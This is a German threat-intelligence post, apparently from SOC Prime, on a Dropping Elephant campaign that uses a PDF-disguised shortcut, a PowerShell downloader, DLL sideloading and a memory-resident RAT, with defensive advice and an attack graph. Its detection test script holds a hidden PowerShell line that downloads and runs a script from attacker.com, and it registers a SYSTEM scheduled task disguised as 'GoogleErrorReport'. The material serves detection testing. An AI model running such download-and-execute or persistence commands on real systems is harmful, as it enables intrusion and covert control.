Malware à la Mode: Ein Blick in die Loader-Kette des Dropping Elephant

SOC Prime Team

Folgen

Malware à la Mode: Ein Blick in die Loader-Kette des Dropping Elephant

Detection stack

AIDR
Alert
ETL
Query

Bedrohungsbericht
Angriffsablauf
Erkennungen
Simulationen

Zusammenfassung

Eine raffinierte Kampagne, die Dropping Elephant zugeschrieben wird, verwendet China-Themen-Köderdokumente, um einen aktualisierten, speicherresidenten Remote-Access-Trojaner zu liefern. Der Einbruch stützt sich auf DLL-Sideloading über eine legitime Microsoft-Binärdatei und den Donut-Shellcode-Loader, um eine Plattenspeicher-basierte Erkennung zu vermeiden. Die endgültige Nutzlast nutzt ebenfalls fortgeschrittene Ausweichtechniken, einschließlich Control-Flow-Glättung und Laufzeit-API-Rekonstruktion.

Untersuchung

Forscher von Rapid7 entdeckten die Bedrohung während einer proaktiven Untersuchung, die mit einer bösartigen Windows-Verknüpfung begann, die sich als PDF-Dokument tarnte. Ihre Untersuchung verfolgte die Nutzlastkette vom initialen Staging auf chinagreenenergy[.]org über das DLL-Sideloading von APPWIZ.cpl bis zur Ausführung eines speicherresidenten RAT. Die Code-Analyse mit Diaphora bestätigte eine gemeinsame Abstammung mit früheren Proben von Dropping Elephant, trotz umfangreicher Umgestaltungen.

Abwehrmaßnahmen

Verteidiger sollten Verhaltensdetektionen priorisieren, wie z.B. Verknüpfungsdateien, die PowerShell ausführen, und verdächtiges Nutzlast-Staging in C:UsersPublic. Das Überwachen von geplanten Aufgaben mit ungewöhnlichen Namen und das Erkennen von DLL-Sideloading aus unerwarteten Verzeichnissen ist ebenfalls wichtig. Darüber hinaus benötigen Endpunktverteidigungen Sichtbarkeit auf Speicherebene, um Manipulationen mit AMSI, WLDP und ETW zu erkennen.

Reaktion

Wenn diese Aktivität entdeckt wird, sollten betroffene Systeme sofort isoliert werden, um weiteren Kommando- und Kontrollverkehr zu unterbrechen. Führen Sie Speicherforensik durch, um den injizierten RAT zu identifizieren und geplante Aufgaben auf Persistenz zu überprüfen. Netzwerkprotokolle sollten ebenfalls auf unbefugten HTTPS-Verkehr zu den bekannten C2-Domains und auf Anzeichen von Dateiexfiltration überprüft werden.

graph TB %% Klassendefinitionen classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef network fill:#ffff99 %% Knotendefinitionen %% Initialer Zugriff und Ausführung action_user_exec[„Aktion – T1204.002 Benutzerausführung: Schadartige Datei Das Opfer führt eine bösartige Verknüpfungsdatei aus Datei: GRES3001.lnk Tarnung: PDF-Symbol“] class action_user_exec action action_icon_smuggling[„Aktion – T1027.012 Verschleierte Dateien oder Informationen: LNK-Icon-Smuggling Täuscht den Benutzer durch Symbolmanipulation Methode: Gefälschtes LNK-Dateisymbol“] class action_icon_smuggling action %% Downloader-Phase process_conhost[„Prozess – conhost.exe Hostprozess für Konsolenfenster Rolle: Startet den PowerShell-Downloader“] class process_conhost process action_binary_padding[„Aktion – T1027.001 Verschleierte Dateien oder Informationen: Binäres Padding Verwendet Zeichenkettenaufteilung zur Verschleierung Ziel: PowerShell-Downloader-Skript“] class action_binary_padding action tool_downloader[„Werkzeug – PowerShell-Downloader Lädt Täuschungsdateien und Schadprogramme herunter Quelle: chinagreenenergy[.]org“] class tool_downloader tool %% Nach dem Download und Persistenz action_masquerading[„Aktion – T1036.008 Tarnung: Dateityp vortäuschen Benennt Dateien um, damit sie legitim erscheinen Verzeichnis: C:\\Users\\Public\\“] class action_masquerading action action_persistence[„Aktion – T1546 Ereignisgesteuerte Ausführung Sichert Persistenz durch eine geplante Aufgabe Aufgabenname: GoogleErrorReport Intervall: Jede Minute“] class action_persistence action %% Ausführungskette und Side-Loading action_proxy_exec[„Aktion – T1218.002 Proxy-Ausführung über Systembinärdateien: Systemsteuerung Verwendet eine legitime Binärdatei zum Starten des Loaders Binärdatei: Fondue.exe“] class action_proxy_exec action tool_loader_cpl[„Werkzeug – APPWIZ.cpl Bösartiger Systemsteuerungs-Loader Methode: DLL-Side-Loading“] class tool_loader_cpl tool action_reflective_load[„Aktion – T1620 Reflektives Laden von Code Lädt Code direkt in den Speicher Loader: Donut-Shellcode-Loader“] class action_reflective_load action %% Post-Exploitation und C2 malware_rat[„Schadsoftware – RAT Remote-Access-Trojaner Status: Im Arbeitsspeicher resident“] class malware_rat malware action_gather_info[„Aktion – T1592 Informationen über das Zielsystem sammeln Erfasst Systemmetadaten Daten: Benutzername, Computername, Betriebssystem, IP-Adresse“] class action_gather_info action action_c2[„Aktion – TA0011 Command-and-Control Hält die Kommunikation über HTTPS aufrecht Domain: gcl-power[.]org“] class action_c2 action action_exfiltration[„Aktion – Bildschirmaufnahme und Exfiltration T1113 Bildschirmaufnahme Ziel: Datendiebstahl“] class action_exfiltration action %% Verbindungsfluss action_user_exec –>|führt_zu| action_icon_smuggling action_icon_smuggling –>|startet| process_conhost process_conhost –>|verwendet| action_binary_padding action_binary_padding –>|führt_aus| tool_downloader tool_downloader –>|lädt_herunter_nach| action_masquerading action_masquerading –>|richtet_ein| action_persistence action_persistence –>|löst_aus| action_proxy_exec action_proxy_exec –>|lädt| tool_loader_cpl tool_loader_cpl –>|nutzt| action_reflective_load action_reflective_load –>|installiert| malware_rat malware_rat –>|führt_aus| action_gather_info malware_rat –>|etabliert| action_c2 action_c2 –>|ermöglicht| action_exfiltration

Angriffsablauf

Angriffsnarrativ & Befehle: Der Gegner zielt darauf ab, Persistenz zu schaffen und einen Downloader auszuführen. Um standardmäßige E-Mail-Filter zu umgehen, verwenden sie eine Verknüpfungsdatei mit dem Namen GRES3001.lnk die wie ein PDF erscheint. Beim Klicken ruft sie conhost.exe auf, um ein PowerShell-Skript auszuführen. Gleichzeitig schaffen sie Persistenz, indem sie eine geplante Aufgabe mit dem Namen GoogleErrorReport erstellen, die so konzipiert ist, dass sie Fondue.exe aus einem öffentlichen Verzeichnis ausführt, maskiert als legitimer Google-Fehlerbericht um eine zufällige Begutachtung zu umgehen.

Regressionstestskript:

# 1. Simulieren des Shortcut/Conhost-Verhaltens
# Wir simulieren die Ausführung von conhost.exe mit dem speziellen String in der Befehlszeile
Start-Process "conhost.exe" -ArgumentList "/c PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" 
# Hinweis: Um die 'CommandLine enthält GRES3001.lnk' Regel strikt zu erfüllen, simulieren wir den Prozessaufruf, als käme er von dieser Datei.
# Da wir nicht leicht den Namen des übergeordneten Prozesses in einem einfachen Skript fälschen können, simulieren wir den erwarteten Befehlszeilenstring.
Write-Host "[!] Simulieren der GRES3001.lnk-Auslösung..."
$SimulatedCmd = "conhost.exe /c GRES3001.lnk PowerShell.exe -Command Write-Host 'Schadsoftware geladen'"
# In einer realen Umgebung würde das 'CommandLine'-Feld in Sysmon den Zielstring enthalten.

# 2. Simulieren der geplanten Aufgabe und side-loading von Fondue.exe
Write-Host "[!] Simulieren der GoogleErrorReport geplanten Aufgabe..."
New-Item -Path "C:UsersPublicFondue.exe" -ItemType File -Force
Set-Content -Path "C:UsersPublicFondue.exe" -Value "Dummy-Payload"

$TaskName = "GoogleErrorReport"
$Action = New-ScheduledTaskAction -Execute "C:UsersPublicFondue.exe"
Register-ScheduledTask -Action $Action -TaskName $TaskName -Description "Simulierte Dropping Elephant Aufgabe" -User "SYSTEM" -Force

Write-Host "[+] Simulation Abgeschlossen. Prüfen Sie SIEM auf Alarmmeldungen."

Aufräumbefehle:

# Entfernen der Dummy-Malware-Binärdatei
Remove-Item -Path "C:UsersPublicFondue.exe" -Force

# Entfernen der bösartigen geplanten Aufgabe
Unregister-ScheduledTask -TaskName "GoogleErrorReport" -Confirm:$false

Write-Host "[+] Aufräumen Abgeschlossen."

Treten Sie der Detection as Code-Plattform von SOC Prime bei um die Sichtbarkeit der für Ihr Unternehmen relevantesten Bedrohungen zu verbessern. Um Ihnen den Einstieg zu erleichtern und unmittelbaren Mehrwert zu erzielen, buchen Sie jetzt ein Treffen mit den Experten von SOC Prime.

Kostenlos beitreten